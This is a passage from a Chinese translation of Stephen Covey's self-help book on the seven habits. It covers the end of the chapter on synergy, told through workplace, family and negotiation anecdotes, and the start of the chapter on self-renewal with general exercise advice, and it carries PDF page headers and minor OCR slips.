因为凡是创新就得承担,不怕失败,不断尝试 错误。只愿稳扎稳打的人,经不起此种煎熬。 课堂上的统合综效 积多年教学经验,我深信最理想的教学状况往 往濒临混乱的边缘,同时考验着师生统合综效的能 力。 我永远忘不了曾教过一个班的大学生,课程名 称是‚领导哲学与风格‛。记得开学 3 周左右,有一 位同学在口头报告中,坦白道出自己的亲身经验, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 367 ~ 内容相当感人而且发人深省。全班都深受感动。十 分佩服这位同学的勇气。 其他同学受到影响也纷纷发表意见,甚至对内 心深处的疑虑也毫无保留,那种依赖与安谧的气氛 激发人前所未有的开放。原先准备好的报告被搁臵 一旁,众人畅所欲言,展开一场脑力激荡。 我也完全投入,几乎有些浑然忘我。我逐渐放 弃原定的教学计划.因为有太多不同的教学方式值 得尝试。这绝不是突发奇想,反而给人稳当踏实的 感觉。 最后,大家决议抛开教科书、进度表与口头报 告,另订新的教学目标与作业,全班兴致勃勃地策 划整个课程内容。又过了大约 3 周,大多强烈渴望 公开这一段经历,于是决定把学习心得汇集成书。 大家又重新拟定计划,重新分组。 每位学生都比以往加倍努力,而且是为另一个 截然不同的目标而努力。这段历程培养出罕见的向 心力与认同感,即使在学期结束后依然持续不衰。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 368 ~ 后来这班学生经常举行同学会,直到现在,只要我 们聚在一起,对那个学期的点点滴滴仍然津津乐道。 我一直很好奇,为什么在极短的时间内,这个 班的学生就能够完全互信与合作。据我推测,多半 是因为他们已是大四下学期的学生,个性相当成熟, 对精彩的课程不再感到新鲜,他们渴望的是有意义 的新尝试,所以那门课的转变对他们而言可谓“水 到渠成”。 此外,身为老师的我也适时提供了催化剂。我 认为纸上谈兵,不如实践演练,与其追随前人的脚 步,不如另辟蹊径。 当然我也曾经与人合作失败,弄巧成拙,相信 一般人都不乏类似经验。只可惜有人对失败念念不 忘,再也不肯做第二次尝试。例如,某些主管为了 少数害群之马,而制订更严厉的法则,限制大多数 人的自由与发展。又好比企业合伙人互不信任,借 严密的法律条文保护自己,反而扼杀了真诚合作的 可能性。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 369 ~ 回顾过去担任顾问与教学的经验,我发现只要 鼓起勇气,诚恳地言人所不敢言,总会获得相对的 回馈,统合综效的沟通由此开始。在热切的交流中, 纵使话不成句,思路不连贯,也不会构成沟通障碍。 如此得到的结论,有些固然不了了之,但多半能发 挥不容忽视的力量。 商业领域的统合综效 我曾经与全体同事一起拟订公司的使命宣言。 起先,会议进行得中规中矩,等到自由发言时,反 应却极为热烈。只见共识逐步成形,最后付诸文字, 成为这么一则使命宣言: 本公司旨在大幅提升个人与企业的能力,并且 认知与实践以原则为中心的领导方式,达成值得追 求的目标。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 370 ~ 又有一次,我应一家大型保险公司之邀,主办 当年度的企划会议。与筹备人员初步交换意见后, 我发现以往的筹备方式是,先以问卷调查或访谈设 定四五个议题,然后由与会主管发表意见。 我听说此前与会者在交流的时候通常都能够做 到彬彬有礼,偶尔也会出现赢/输式的争执场面, 但多数情况是毫无创造性,乏味无趣,从一开始就 知道结果如何。 经我强调统合综效的优点,他们尽管有些不放 心,仍同意改变形式。先由各主管以不记名方式针 对主要议题提出书面报告,然后汇集成册,要求主 管在会前详细阅读,了解所有的问题与不同的观点。 这样一来,主管们在会上只须聆听,不须陈述,关 注重点也由为自己辩护转向实现创造和统合综效。 我们先用了半天时间向所有人讲授了习惯四、 五和六,并让他们练习,剩下的时间就全都用来推 动创造性的统合综效。 人的创造力一旦得到释放,结果真是难以置信。 兴奋取代了沉闷,所有人都敞开心扉,接受别人的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 371 ~ 意见,探寻新思路和新方案。会议接近尾声的时候, 每个人对公司所面临的挑战都有了全新的认识,书 面提议被废弃,意见分歧被重视和升华,新的共识 开始成形。 一旦经历过真正的统合综效,人们就会脱胎换 骨,会看到未来有更多这种开阔视野的机会。 人们有时候会刻意重复某个统合综效的经历, 但却很少成功,然而,这些经历背后的核心目标却 是可以重现的。就像流传于远东地区的一句哲言: “我们不应单纯地模仿大师的言行,而应该追求大 师所追求的。”同样,我们不应该单纯地模仿,而应 该创造。 沟通三层次 统合综效和创造会让人热血沸腾,坦诚交流的 效果令人难以置信。虽然坦诚往往与风险相伴,但 是非常值得,因为你的收获与进步将是不可思议的。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 372 ~ ‚二战‛之后,美国命戴维〃利连撒尔(David Lilienthal)接管原子能委员会。他召集了一群很有 影响力的社会名流为之工作。 这些背景各异的人有无比坚定的信念,面对繁 重的工作日程,都迫不及待地要开始工作,而且媒 体也在不断施加压力。 但是利连撒尔却用了几个星期的时间来建立 情感账户。他让这些人先花时间彼此了解,比如其 他人的兴趣、希望、目标、顾虑、背景、信念以及 想法等。为此,他承受了很多批评,被指责为浪费 时间。 所幸的是,这群人果然相处得十分融洽,彼此 非常坦率,相互尊重,即便意见不一,也首先是真 心实意去努力理解对方,由此诞生了一种不寻常的 组织文化。 图 9—1 说明了信任度与沟通层次之间的联系。 低层次的沟通源自低度信任,其特点是人与人 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 373 ~ 之间互相提防,步步为营,经常借助法律说话,为 情况恶化做打算,其结果只能是赢/输或者输/赢, 而且毫无效率可言,即产出/产能不平衡,结果只 能是让人们更有理由进行自我防御和保护。 中间一层是彼此尊重的交流方式,唯有相当成 熟的人才办得到。但是为了避免冲突,双方都保持 礼貌,却不一定为对方设想。即使掌握了对方的意 向,却不能了解背后的真正原因,也不可能完全开 诚布公,探讨其余的选择途径。 这种沟通层次在独立的,甚至在相互依赖的环 境中尚有立足之地,但并不具创造性。在相互依赖 的环境中,最常用的态度是妥协,这意味着 l+1=3/2, 双方都有得有失。这种沟通中没有自我防 御和保护,也没有愤怒和操控,有的只是诚实、 坦率和尊重。但是,它不具创造性和统合综效的能 力,只能引致双赢的低级形式。 统合综效意味着 1+1 等于 8 或 16,甚至 1600。 源自高度信任的统合综效能带来比原来更好的解决 方案,每一个参与者都能认识到这一点,并全心享 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 374 ~ 受这种创造性的事业。由此产生的文化氛围即使不 能持久,但至少在当时可以促成产出/产能的平衡。 即使在既不能统合综效也不能干脆放弃的情况 下,只要用心尝试和努力,通常都会达成更有效的 妥协。 寻求第三条道路 下面这个例子很好地解释了不同层次的交流是 如何影响相互依赖的人际关系的: [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 375 ~ 一位父亲想利用假期带全家去露营钓鱼。他策 划许久,做好一切安排,两个儿子也兴奋地期待着。 然而妻子却打算利用难得的假期,陪伴久病不愈的 母亲。一场家庭争端一触即发。 丈夫说:‚我们已经盼望了一年,而且孩子们 到外婆家无所事事,一定吵翻天。更何况她老人家 病情并没有那么严重,又有你妹妹就近照顾。‛ 妻子说:‚她也是我的母亲,不知道在世上还 有多少日子,我要陪在她身边。‛ ‚你可以每晚打电话,反正我们会跟她一起过 圣诞节。‛ ‚那还有好几个月,不知那时她是否还在人世。 母亲总比钓鱼更重要。‛ ‚丈夫和孩子比母亲更重要。‛ 这样争执下去,最后或许会有折衷的安排,也 许是妻子独自去探望母亲,丈夫带着孩子去度假。 可是夫妻俩都会有内疚感,心情不可能愉快,孩子 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 376 ~ 也会察觉到,也不会玩得尽兴。 或者,先生妥协,但心不甘情不愿,有意无意 地就想证明如此决定何其错误。反之,妻子顺从先 生的心意,却毫无玩兴。倘若母亲不幸在此时病危 或撒手人寰,妻子不会原谅丈夫,丈夫也难以原谅 自己。 不论是哪一种妥协,都会成为夫妻问挥之不去 的阴影。两个人会相互指责对方的无情,不负责任 和当初的错误决定。即使多年以后,这件事还会是 他们的争论焦点,甚至会导致整个家庭的破裂。很 多家庭都是一开始的时候幸福美满,你依我依,最 后却因为一点小事火药味十足。 夫妻双方的意见分歧可能产生隔膜,也可能使 彼此更加亲近。如果双方都养成了有效的相互依赖 的几个习惯,就会以全新的模式来看待他们之间的 差异。他们的沟通将处于比较高的层次。 原因在于他们之间的情感账户余额很高,对彼 此有充分的信任,能够开放式沟通,并奉行双赢模 式,相信有更好的可以互惠互利的第三条道路,而 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 377 ~ 且能够在做决定之前,运用移情聆听技巧,充分理 解对方所重视和顾虑的事情。 高余额的情感账户、双赢模式、先理解别人的 原则,所有这些加在一起,就是实现创造性统合综 效的理想环境。 通过沟通,丈夫深刻而真实地感觉到妻子陪伴 母亲的愿望,知道妻子原来是想减轻妹妹常年照顾 母亲的负担,也的确不知道母亲还能在世多长时间, 而且母亲确实比钓鱼重要得多。 而妻子理解了丈夫想让家人团聚在一起和让孩 子们开心的苦心,知道他为此还花心思去上培训班 和购买装备,相信为家人留下一个美好的回忆十分 重要。 于是他们试着寻找第三条可行之道。 先生说: “也许在这个月找一周,家事请人代劳, 其他由我负责,你就可以去看母亲。要不然,到距 离母亲较近的地点去度假钓鱼也不错,甚至邀请附 近的亲友一起度假,更有意思。” 他们有商有量,直到找出双方都满意的解决方 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 378 ~ 案,而且比原来的方案和妥协的办法都好得多。 这不是一种交易,而是变革,两个人都得偿所 愿,也使彼此感情更上一层楼。 消极协作减效 寻找第三条道路需要从非此即彼的思想中走出, 实现重要的模式转换,前后结果天差地别。 在相互依赖的环境中,人们在解决问题和下决 定的时候往往将太多的时间和精力耗费在玩弄权术、 唇枪舌剑、彼此提防、争权夺势和放马后炮等消极 无益的事情上。这就像是开车的时候一只脚踩油门, 另一只脚却踩刹车。 有很多人不是把脚从刹车踏板上挪开,而是猛 踩油门,想用更多的压力、狡辩和论据来巩固自己 的地位。 问题是独立的人都想在相互依赖的环境中取得 成功,他们或者借助权势力量实现赢/输模式,或 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 379 ~ 者通过讨好每一个人来实现输/赢模式。可能他们 嘴上说着双赢技巧,实际上却不想聆听,只想操纵 别人。在这样的环境里根本无法实现统合综效。 缺乏安全感的人认为所有的人和事都应该依照 他们的模式。他们总想利用克隆技术,以自己的思 想改造别人。他们不知道人,际关系最可贵的地方 就是能接触到不同的模式。相同不是统一,一致也 不等于团结,统一和团结意味着互补,而不是相同。 相同毫无创造性可言,而且沉闷乏味。统合综效的 精髓就是尊重差异。 要实现人际关系中的统合综效,关键是首先实 现个人的统合综效,个人的统合综效在前三个习惯 的原则中都有体现,这些原则赋予人们足够的安全 感,让他们变得开放、坦率,不惧风险。只有将这 些原则内在化,我们才能有双赢所必需的知足心态, 才能真正做到“知彼解己”。 以原则为中心会让我们变得真正完整起来。一 个偏重于语言和逻辑的惯用左脑思维的人会发现自 己在面对要求极高创造力的问题的时候常常无能为 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 380 ~ 力,于是开始醒悟,并调动右脑来接受新的模式。 我并不是说他们原来没有右脑,而是说那时候右脑 正在休眠,尽管细胞还在,但可能已经萎缩,因为 从他们小时候起,接受的所有学校教育和社会教育 就只偏重左脑的发展。 右脑主管直觉、创造和印象,左脑主管分析、 逻辑和语言,只有左右贯通,整个大脑才能发挥作 用。换言之,我们自己的左右脑也需要统合综效。 大脑的这种构造十分适合我们的现实生活,因为生 活不仅是理性的,也是感性的。 我曾为一家公司举办研讨会,题为‚左脑主司 管理,右脑主司领导‛。中间休息时,公司总经理对 我说:‚研讨会很有意思。不过我考虑更多的是怎样 才能把它用于我的婚姻而非生意。我妻子和我确实 存在着交流上的问题。‛他邀请我和他们一起吃午饭, 以观察他们是怎样交谈的。 午饭时,寒暄之后,总经理对他妻子说:‚亲 爱的,我知道你觉得我应该更细心更体贴些。可不 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 381 ~ 可以说得具体些,你认为我该做些什么?‛这位丈夫 的左脑希望得到事实、数字和细节。 ‚我早就说过了,不是因为什么具体的事,而 是出于我的一种总的感觉。‛这位妻子的右脑提供感 觉和概况。 ‚什么是‘总的感觉’?你究竟希望我做什么?‛ ‚啊,那只是一种感觉。‛她的右脑只接受印 象和直观的感觉。 ‚我只不过觉得我们的婚姻并不像 你对我说的那么重要。‛ ‚那我能做些什么使它变得更重要?告诉我一 些具体的、特别该做的事。‛ ‚它很难言说。只是一种感觉,一种非常强烈 的感觉。‛ 总经理说:‚亲爱的,这就是你的问题了,你 母亲也有这样的问题。事实上,我所认识的每一位 女士都有类似的问题。‛ 然后,他开始用法庭里的口吻讯问妻子。 ‚你是否住在你愿意住的地方?‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 382 ~ ‚不是这个问题。‛她叹了口气说,‚根本就不 是这个问题。‛ ‚我知道。‛他耐着性子,‚因为你不确切告诉 我原因何在,我要知道它是什么的最好办法就是搞 清楚它不是什么。你是否住在你愿意住的地方?‛ ‚我想是吧。‛ ‚只要简单回答‘是’或‘不是’。你是否住 在你愿意住的地方?‛ ‚是。‛ ‚那好,这个问题解决了。你是否得到了你想 得到的东西?‛ ‚是。‛ ‚好。你是否能做你想做的事?‛ 他们就这样一问一答。我知道自己一点儿也帮 不上忙,所以就插了一句:‚你们之间的关系就是这 个样子吗?‛ ‚每天如此。‛总经理说。 妻子叹了口气,说:‚我们的婚姻就是这个样 子。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 383 ~ 我看着他们,脑子里闪过一个念头:这是两个 生活在一起,但各自只有半个头脑的人。我问:‚你 们有孩子吗?‛ ‚有,有两个。‛ ‚真的?‛我难以臵信地问,‚你们是怎么做到 这一点的?‛ ‚我们怎么做到这一点的?你指什么?‛ ‚你们是协同的?‛我说,‚1+1 一般等于 2, 但你们却做到了等于 4。这就是协同作用:整体大 于各部分之和。你们是怎样做到这一点的?‛ ‚你知道我们是怎么做到的。‛总经理回答说。 ‚你们一定做到了尊重差异!‛我大声说。 尊重差异 与人合作最重要的是,重视不同个体的不同一 D 理、情绪与智能,以及个人眼中所见到的不同世 界。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 384 ~ 自以为是的人总以为自己最客观,别人都有所 偏颇,其实这才是画地为牢。反之,虚怀若谷的人 承认自己有不足之处,而乐于在与人交往之中汲取 丰富的知识见解,重视不同的意见,因而增广见闻。 此所谓“三人行,必有我师焉”。 至于完全矛盾的两种意见同时成立,是否合乎 逻辑?问题不在于逻辑,而是心理使然。有些矛盾的 确可以并存,前面所提到有关妇女画像的测验已充 分证明,同一景象会引起互相矛盾的诠释,而且都 言之成理。 假如两人意见相同,其中一人必属多余。与所 见略同的人沟通,毫无益处,要有分歧才有收获。 个 别 差 异 的 重 要 性 从 教 育 家 里 维 斯 (R.H.Reeves)的著名寓言《动物学校》中可见一 斑: 有一天,动物们决定设立学校,教育下一代应 付未来的挑战。校方订定的课程包括飞行、跑步、 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 385 ~ 游泳及爬树等本领,为方便管理,所有动物一律要 修全部课程。 鸭子游泳技术一流,飞行课的成绩也不错,可 是跑步就无技可施。为了补救,只好课余加强练习, 甚至放弃游泳课来练跑。到最后磨坏了脚掌,游泳 成绩也变得平庸。校方可以接受平庸的成绩,只有 鸭子自己深感不值。 兔子在跑步课上名列前茅,可是对游泳一筹莫 展,甚至精神崩溃。 松鼠爬树最拿手,可是飞行课的老师一定要他 自地面起飞,不准从树顶下降,弄得他神经紧张, 肌肉抽搐。最后爬树得丙,跑步更只有丁等。 老鹰是个问题儿童,必须严加管教。在爬树课 上,他第一个到达树顶,可是坚持用最拿手的方式, 不理会老师的要求。 到学期结束时,一条怪异的鳗鱼以高超的泳技, 加上能飞能跑能爬的成绩,反而获得平均最高分, 还代表毕业班致词。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 386 ~ 另一方面,地鼠为抗议学校未把掘土打洞列为 必修课,而集体抵制。他们先把子女交给做学徒, 然后与土拔鼠合作另设学校。 化阻力为动力 在互赖关系中,统合综效是对付阻挠成长与改 变的最有力途径。社会学家特·莱文(Kurt Lewin) 曾以“力场分析”的模型,来描述鼓励向上的动力 与阻挠上进的阻力,如何呈互动或平衡的状态。 动力通常是积极、合理、自觉、符合经济效益 的力量;相反地,阻力多半消极、负面、不合逻辑、 情绪化、不自觉,具社会性与心理性因素。这两组 作用力都是真实存在的,在应变时都要考虑周全。 (图 9—2) 举例来说,一个家庭会有一种氛围,通过这种 氛围,我们可以看到家庭成员交往的积极或者消极 程度;知道他们是否能够放心大胆地表达情感或者 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 387 ~ 顾虑,了解他们在互相交流的时候能否彼此尊重。 也许你很希望能够在这种氛围中加入更多的积 极因素,让家庭成员们更加尊重和信任彼此,更加 坦诚,这种想法本身就是有助于改善家庭氛围的动 力。 不设法削减阻力,只一味增加推力,就仿佛施 力于弹簧上,终有一天引起反弹。几经努力失败后, 就会引起改进不易的感叹。 但是如果你引进了统合综效这个概念,以习惯 四为目标,以习惯五为技巧,以习惯六为交往方式 来应对阻力,你就能够营造出一个让所有家人都畅 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 388 ~ 所欲言的环境,他们在得到自由的同时也吸收了新 的思想,这些都会促成阻力向动力的转化。把你的 问题告诉家人知道,让他们也置身其中,他们就会 把它当做自己的问题来认真对待,并为寻找解决途 径而付出努力。 全新的、共同的目标由此产生,计划得以顺利 进行,而结果往往超出所有人的想象。这一进程中 蕴涵的兴奋心情将营造出一种全新的文化氛围,每 个人都能在其中感受到他人的谦恭,并在新的创造 性事物和机遇中获得新思想。 我经历过几次这样的谈判:谈判双方剑拔弩张, 纷纷聘请律师为自己辩护。大家明知道法律程序的 介入会让人际关系日益恶化,让问题变得更加复杂, 但是超低的信任度让双方都觉得已经别无选择。 “您想不想找到一种双赢的解决方案来让双方 都好过一些?”我这样问。 对方通常都会给予肯定的答复,但是大部分人 又同时怀疑这种结果的可能性。 “如果对方也同意的话,你愿意和他们来一次 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 389 ~ 真正的交流吗?” 他们对这个问题的回答通常也都是肯定的。 于是,几乎每一个这种案子的结局都让人瞠目 结舌——在法庭上和心理上纠缠了几个月的问题只 用了几个小时或者几天的时间就解决了。这种统合 综效的结果不同于通过法律途径实现的和解方案, 它好过任何一方最初的提议。而且,不论双方原来 的关系有多么恶劣,彼此的信任有多么稀薄,通常 都能在问题解决之后继续友好交往。 有一天清早,我接到一位土地开发公司负责人 的求救电话。由于他未按时缴交贷款,银行打算没 收抵押的土地;为了保护产权,他又反控银行。问 题在于:这位负责人需要更多资金完成土地开发, 以便出售求现,再偿还贷款。但在他付清积欠款项 前,银行拒绝再提供贷款。这是个鸡生蛋,还是蛋 生鸡的问题。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 390 ~ 另外,由于开发进度落后,附近居民纷纷抗议, 市政府也备感尴尬。此时银行与开发业者均已投下 成千上万的诉讼费,但距开庭还有好几个月。 经过电话中一番劝说,他勉强同意尝试第四、 五、六个习惯,安排与银行方面谈判。 早上 8 点在银行会议室展开的会议,一开始就 剑拔弩张。对方的律师关照谈判人员不可说话,由 他一人发言,以免影响将来打官司的立场。 前一个半小时,由我讲述双赢思维、知彼解己 与统合综效等观念。然后根据初步了解,把银行方 面的顾虑写在黑板上。起先对方没有什么反应,逐 渐地,他们开始加以澄清,双方终于可以沟通了。 对于此事可能和解,彼此都感到十分兴奋。银行谈 判人员不顾律师反对,畅所欲言。 到后来虽然双方立场不变,但不再急于为自己 辩护,也愿听听对方的说法,于是我又把土地开发 业者的意见写上黑板。 彼此逐渐发现过去由于沟通不良,引起极大的 误会。现在心结既已打开,和解指 El 可待。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 391 ~ 正午时分——原定结束会议的时间,会场上讨 论气氛却异常热烈,开发业者所提的建议正获得热 烈回应。经过一番增删,到了 12 点 45 分。双方完 成初步协议。这项谈判后来虽然又持续了一段时间, 但官司已经撤回,那片土地上总算盖起了一栋栋的 新房。 我并不是说大家不应该采取法律手段,有些时 候法律手段是绝对必要的,但是我认为它只应该在 最后关头发挥作用,而不是问题刚一出现的时候, 过早使用只会让恐惧心理和法律模式制约了统合综 效的可能性。 自然界是统合综效的最佳典范 生态学很好地解释了自然界的统合综效现象: 世间万物都是密切相关的,这些关系可以将创造力 最大化。本书所讲的七个习惯的真正力量也是存在 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 392 ~ 于它们的相互关系中,而不是单个的习惯中。 部分之问的关系也是在家庭或公司里创造统合 综效文化的力量。参与的程度越深,人们对分析和 解决问题的投入就越多,释放出来的创造力就越大, 越需要对最后的结果负责任。我坚信这就是日本人 商业成功的秘密所在,他们就是这样改变了全球市 场。 统合综效是有效而正确的原则,其成效超出此 前的所有习惯,代表了相互依赖环境中的高效能, 代表了团队协作和团队建设精神,能让团队成员通 过合作实现创造。 虽然你无法在相互依赖的交往中和统合综效的 过程中控制他人的行为模式,但还是有很多事情都 在你的影响圈范围内。你自身的统合综效就完全处 于你的影响圈内。你应该尊重自己善于分析的一面 和富有创造力的一面,尊重它们的差异会催生你的 创造力。 即使处于不利境地,也不应该放弃追求统合综 效。不要在意别人的无礼行径,避开那些消极力量, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 393 ~ 发现并利用别人的优势,提高自己的认识,扩展自 己的视野。你应该在相互依赖的环境中勇敢而坦率 地表达自己的观点、情感和经历,借此鼓励他人同 样地坦诚相待。 尊重人与人之间的差异,当有人不同意你的观 点的时候,你应该说:“你跟我有不一样的看法,这 很好。”你不一定要对他们表示赞同,但是可以表示 肯定,并尽量给予理解。如果你只能看到两种解决 问题的途径或道路——“你”的和“错误”的,那 么你可以试着寻找统合综效的第三条道路,一般情 况下它总是存在的。如果你坚持双赢模式,确实愿 意努力理解对方,你就能找到一种让每一个人都受 益更多的解决方案。 付诸行动 1.想一想谁总是跟你的看法不一样,用什么 方法可以把这些差异变成通往第三条道路的阶梯。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 394 ~ 可以就当前的某个项目或者某个问题请教这个人的 意见,珍惜这些不同的见解。 2.列一张名单,写上让你觉得不快的人的名 字。如果你内心有更充足的安全感,能够做到尊重 差异,你是否会觉得这些人代表了不同意见,而你 可以借此实现与他们的统合综效? 3.想一想在什么情况下你更需要统合综效?统 合综效需要哪些条件来支持?怎样才能创造出这些 条件? 4.下一次当你同某人意见相左或者发生冲突 的时候,尽量理解他的立场和顾虑,以创造性的、 互惠互利的方式应对问题。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 395 ~ 第四部分 自我提升和完善 第十章 习惯七 不断更新 ——平衡的自我更新的原则 人生最值得的投资就是磨炼自己,因为生活与 服务人群都得靠自己,这是最珍贵的工具。 工作本身并不能带来经济上的安全感,具备良 好的思考、学习、创造与适应能力,才能立于不败 之地。拥有财富,并不代表经济独立,拥有创造财 富的能力才真正可靠。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 396 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 397 ~ 微不足道的小事也会引发惊人的结果。每念及 此,我就认为世上无小事。 ——布鲁斯·巴登(Bruce Barton) 前美国众议员及广告业者 假使你在森林中看到一名伐木工人,为了砍一 棵树已辛苦工作了 5 个小时,筋疲力尽却进展有限, 你当然会建议他: “为什么不暂停几分钟,把锯子磨得更锋利?” 对方却回答:“我没空,锯树都来不及,哪有时 间磨锯子?” 自我提升和完善的四个层面 习惯七就是个人产能。它保护并优化你所拥有 的最重要的资产——你自己。它从四个层面更新你 的天性,那就是:身体、精神、智力、社会/情感。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 398 ~ (见图 l0-1) 从根本上讲,“不断更新”意味着要兼顾这四种 要素,要以睿智而均衡的方式,经常并持续运用我 们天性中的这四个层面。 对自己投资,对我们用来处世和做贡献的唯一 工具进行投资,是我们在一生中做出的最有效的投 资,我们取得成绩的工具就是我们自己。为了提高 效能,我们必须认识到定期从四个层面“磨刀”的 重要性。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 399 ~ 身体层面 身体层面指有效呵护我们的身体——健康饮食, 充足休息以及定期锻炼。 锻炼属于第二类事务,但是由于不具紧迫性, 所以很少人能坚持不懈,结果终有一天我们会发现 自己陷入了第一类事务,不得不面对健康问题和危 机,而原因正是之前对锻炼的忽视。 很多人觉得自己没有时间锻炼身体,这种想法 真是大错特错!我们不是没有时间锻炼身体,我是说 每周只需要用 3—6 个小时,或每天至少 30 分钟锻 炼。考虑到这种做法对一周当中余下 162~165 个小 时的巨大益处,这点时间真的算不上什么。 锻炼身体不一定要有专门的器材,当然,如果 你想到健身房或者温泉浴场使用专门器材锻炼,或 者喜欢网球、墙球之类的技巧性运动,那又另当别 论。但这并不是“磨刀”的必要条件。好的锻炼项 目可以在自己家里进行,可以提升你的耐力、韧性 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 400 ~ 和力量。 耐力 源于有氧运动,靠的是心血管功能——即 心脏向全身供血的能力。 心脏是肌肉,但无法直接得到锻炼,只能通过 运动大型肌肉组织(尤其是腿部肌肉)得到锻炼,因 此,快走、跑步、骑车、游泳、越野、滑雪和慢跑 对身体大有益处。 如果你能将至少每分钟 l00 下的心率维持 30 分钟,就算是基本健康。 最理想的是尝试将心率至少提高到最高脉搏率 的 60%。最高脉搏率是全身供血时心跳的最高速度, 通常等于 220 减去你的年龄。因此,如果你是 40 岁,那么就应该争取使锻炼时的心率达到 108(220 —40:180;180x0.6:108)以下。通常说来,“训 练效应(Training Effect)”是最高心率的 72%一 87%。 韧性 源于伸展运动。很多专家建议在有氧运动 前后要分别注意“预热”和“慢停(伸展)”。预先热 身有助于放松肌肉并提高肌肉温度,为强度较大的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 401 ~ 锻炼做好准备;慢慢停止运动有助于分解乳酸,缓 解肌肉的酸痛和僵硬感。 力量 源于持久的肌肉运动——比如简单的柔 软体操、俯卧撑、引体向上、仰卧起坐和举重。力 量训练的强度因人而异:如果你从事体力劳动或体 育活动,增强力量有助于提高技能;如果你主要从 事脑力劳动,长期保持坐姿,体力消耗有限,那么 除了有氧运动和伸展训练之外,再辅以柔软体操可 能就足够了。 我曾和一位运动生理学博士同去健身房,他的 主要目的是增强力量。他告诉我,他会在特定的时 候要我接过杠铃。 于是,我在一边看着,等着,杠铃被放下举起, 举起放下,我看得出他已经感到吃力了,但是还在 坚持。 我看到他的面部肌肉由于用力而绷紧,血管凸 起。也许我应该把杠铃接过来,也许他会失去控制, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 402 ~ 甚至不知道自己在做什么。但是,他安全地放下了 杠铃,又再次举起,我简直不敢相信。 最后他终于要我接过了杠铃,我说:‚你为什 么要等这么久?‛ 他答道:‚史蒂芬,锻炼的所有好处几乎都产 生于最后阶段。我想增强力量,就必须等到肌肉纤 维断裂,神经纤维感到疼痛才行,因为这时候自然 机制才会予以过度补偿,纤维在 48 小时后会变得更 加坚韧。‛ 我明白他的意思。情感‚肌肉‛(比如耐心)也 是一样。当对耐心的磨练超越过去的记录时,情感 纤维就会断裂,自然机制就会予以过度补偿,下一 次纤维就会更加坚韧。 我的朋友希望增强肌肉力量,并深谙其道,但 并非所有人都要靠那样的力量提高效能。 我们必须理智地制订锻炼计划,但在现实中却 往往操之过急,特别是在长期不锻炼的情况下。这 样可能会造成不必要的疼痛、伤害甚至永久性损伤, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 403 ~ 循序渐进是最好的。所有锻炼计划都应该与最新研 究成果、医生的建议和自己的意愿相一致。 你刚开始时也许并不喜欢锻炼,甚至还很厌恶, 但是一定要积极一点,坚持下去。在你执行慢跑计 划期间,即使清晨有雨,也不能放弃。而是要想太 好了!下雨了!我可以在锻炼身体的同时磨炼意志! 随着心脏和呼吸系统效能的提高,你的静止脉 搏率会一点点下降。身体越来越能够适应高强度活 动,正常活动就会显得轻松许多。即使在下午,你 也会精力充沛,拒绝锻炼的疲劳感不复存在,取而 代之的是让你迅速投入任何工作的饱满精神。 也许锻炼的最大好处是养成了习惯一“积极主 动”的肌肉。如果你坚持以身体健康原则为行动指 南,而不是对妨碍锻炼的所有因素消极反应,那么 你的自我评价、自尊、自信和诚信也会受到深刻影 响。 精神层面 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 404 ~ 精神层面的更新为你指引人生方向,与习惯二 密切相关。 精神层面是人的本质、核心和对价值体系的坚 持,是生活中非常私人而又至关重要的领域。它能 够调动人体内具有激励和鼓舞作用的资源,把你同 所有人类的永恒真理紧紧联系在一起。在这一点上 人们的做法迥异。 有些人是通过欣赏优秀的文学或音乐作品来实 